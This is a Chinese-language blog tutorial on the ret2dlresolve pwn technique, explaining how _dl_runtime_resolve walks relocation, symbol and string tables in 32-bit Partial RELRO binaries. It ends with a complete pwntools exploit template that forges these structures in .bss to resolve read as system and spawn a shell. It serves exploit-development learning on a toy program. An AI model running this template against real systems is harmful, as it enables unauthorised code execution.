Ret2dl

文章发布时间:

最后更新时间:

文章总字数:
2k

预计阅读时间:
7 分钟

前言

一种基于延迟绑定机制的利用办法 适用于没有puts等输出函数的情况下 伪造结构体 使得任意函数的got表解析成system函数 从而getshell 应该算是pwn学习初期最早的伪造思想了 对于初期的学习还是不那么容易懂的 这个知识点我学的也比较晚 最早出现是刚学pwn没几个月的ISCTF 2022 那个时候做不出来 然后也没去复现 就一直拖到了现在 所以这篇文章的一些描述可能不是很详细 新学pwn的如果哪里看不懂 记得联系我 我删改一下

利用本质

32位 Partical RELRO

被我们熟知的plt表和got表 是因为延迟绑定机制的出现 这个机制主要是由于可以大幅度减少程序的体积 部分程序调用到的函数比较少 如果全部加载库 很容易就造成体积过大 所以出现了动态链接

RELRO这个保护机制跟动态链接关系比较大 如果是FULL RELRO 那么就会在程序载入时就完成所有函数的got表解析 也就无从谈起利用

image-20230522222756256

观察一下一个read函数的解析过程 在初次调用的时候 got表中指向的是plt表 把0入栈了 同时跳转到了0x8048380

同样入栈了一个参数 这个参数位于got表的第二个元素 我们在动态延迟绑定的文章说过 是模块的ID 随后跳转的地址是got表的第三个元素 同时是我们今天利用的关键 _dl_runtime_resolve函数的地址

下面就来详细分析一下这个函数是如何解析真实地址的

诸如io链中存在vtable这样的结构体 用来索引函数 _dl_runtime_resolve也有对应的结构体来索引各种表项 用来满足其寻找对应函数真实地址的需求

.dynamic段就是这样一个结构体 其存放了动态链接的几个关键表项.dynsym .dynstr .rela.plt等

_dl_runtime_resolve利用入栈的模块ID 这里又称为link_map 可以访问到dynamic段 从而获取其他表的地址

这里我们先不讲这几个表项的作用 跟着思路往下走

在_dl_runtime_resolve拿到表项地址以后 他怎么知道要寻找的是哪个函数的真实地址呢 或者说 小明妈妈让他买酱油 这个行为确实是触发了 但是小明不知道要买什么品牌的酱油

这个时候其会先寻找重定位表项 同样的 其仍然需要一个索引 否则他怎么知道要找哪个函数的重定位表项

image-20230523220740967

而这个偏移 就是最开始入栈参数

image-20230523220904423

索引到重定位表项后 其就需要函数名 以此在so文件中寻找对应的真实地址 不过在索引dynstr到这个段获取字符串前 先需要到达dynsym段进行一个中转 而寻找到对应地址的偏移 就是上面的第二个参数

就拿我们上面的read的重定位表举例 第二个参数是0x107 这个值是怎么得到的呢

首先 7是固定的 可以理解为函数的标识 这个值可不能进行更改 在寻址过程中还会进行检查

前面的0x100是如何得到的呢 实际是由1<<8得到 这里的逻辑左移八位是固定的格式 _dl_runtime_resolve在读取到0x107后 会自动的逻辑右移 得到一个1

这个1乘以0x10 (这个值是dym结构体一个成员的大小) 就是dynsym表的偏移了

image-20230523221915568

我们来观察一下dynsym表的内容

image-20230523222010123

除开0x804820c所对应的_gmon_start函数比较特殊之外 其余的sym表的第四个参数固定为0x12 这在后续中也存在检查

中间两个参数都是0 没啥可说的 来看一下第一个参数 这个参数就是用来索引dynstr表 直接对应的就是函数字符串存储地址减去dynstr的起始地址

到此为止 _dl_runtime_resolve函数的调用流程就已经清晰了 稍微总结一下 索引的流程为:

压入link_map参数 索引dynamic段 根据压入的偏移参数寻址重定位表项

根据重定位表项寻址dynsym表 根据dynsym表索引dynstr表 最后获取到函数名

所以我们只要环环相扣 一步步伪造偏移 劫持索引流 就可以做到劫持read函数(任意函数都行) 将其真实地址的解析修改为system函数 就可以getshell

伪造

32位 Partical RELRO

借助这样一个32位的程序来演示 程序的逻辑非常简单 就一个read 构成栈溢出 可以自行编译

1
2
3
4
5
6
ssize_t vuln()
{
char buf[40]; // [esp+0h] [ebp-28h] BYREF

return read(0, buf, 0x100u);
}

image-20230523223618338

由于我们需要伪造偏移 所以需要有一个可写可读的地址来存放我们的fake struct

理所当然的是bss段 于是这里直接构造read链 往bss段上读入数据

随后我们来想一下如何伪造偏移

上面提到 _dl_runtime_resolve解析dynamic段 需要靠压入的link_map参数 我们可以利用这个gadget来实现

1
2
3
4
5
6
.plt:08048380 sub_8048380     proc near               ; CODE XREF: .plt:0804839B↓j
.plt:08048380 ; .plt:080483AB↓j ...
.plt:08048380 ; __unwind {
.plt:08048380 push ds:dword_804A004
.plt:08048386 jmp ds:dword_804A008
.plt:08048386 sub_8048380 endp

随后我们应该跟上用来索引重定位表项的偏移 这里的偏移就是fake_relplt_addr - relplt_addr

随后 我们需要伪造重定位表项 其第一个参数为想要误导的函数got表地址(哪怕是已经解析过真实地址的函数也可以 甚至是任意的可写地址都行 不过为了方便getshell 一般都是放到函数的got表里) 第二个参数用来索引dynsym表

第二个参数的伪造可以说是最关键的一步 因为dynsym其一个成员是0x10字节 同时还存在着对齐 所以要留意一下原本的dynsym起始地址的最后一位 比如我这个程序其最后一位是0xc 所以我伪造的dynsym的起始地址最后一位也应该为0xc

同时 fake_dynsym与dynsym的偏移 需要经过我上面提到的计算 最后的结果用来充当第二个参数

接着就是dynsym的伪造问题 一共有四个参数 后三个参数不用管 固定是 0,0,0x12

而第一个参数为fake_dynstr和dynstr的偏移 直接相减就行了

如果最后我们成功劫持了函数的解析 成功在read函数的got表中写入了system函数的真实地址 我们要如何getshell呢

我们知道 动态链接的最后 在得到了真实地址后 会重新调用一次该函数 所以 我们只需要重新调用函数时 rsp指针指向的第二个字长处(第一个字长为返回地址 拿垃圾数据填就行了)存放着binsh字符串地址即可

参考模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

bss_addr = elf.bss(0x800)
fakesym_addr = bss_addr+0x1c
name_addr = fakesym_addr+0x10-dynstr
fakesym = p32(name_addr)+p32(0)*2+p32(0x12)

offset = int((fakesym_addr-dynsym)/0x10)
offset = offset<<8
fake_relplt = p32(elf.got['read'])+p32(offset+7)

read_addr = elf.sym['read']
vuln_addr = elf.sym['vuln']
payload = cyclic(0x28+0x4)+p32(read_addr)+p32(vuln_addr)+p32(0)+p32(bss_addr)+p32(0x100)
# gdb.attach(io,'b *0x804854B')
# pause(0)
io.send(payload)

binsh_addr = bss_addr+0x80
payload = p32(plt0)+p32(bss_addr+0x10-rel_plt)
payload += cyclic(0x4)
payload += p32(binsh_addr)
payload += fake_relplt
payload += cyclic(0x4)
payload += fakesym
payload += b'system\x00\x00'
payload = payload.ljust(0x80,b'\x00')
payload += b'/bin/sh\x00'
io.send(payload)
leave_addr = 0x08048448
payload = cyclic(0x28)+p32(bss_addr-0x4)+p32(leave_addr)
io.send(payload)
io.interactive()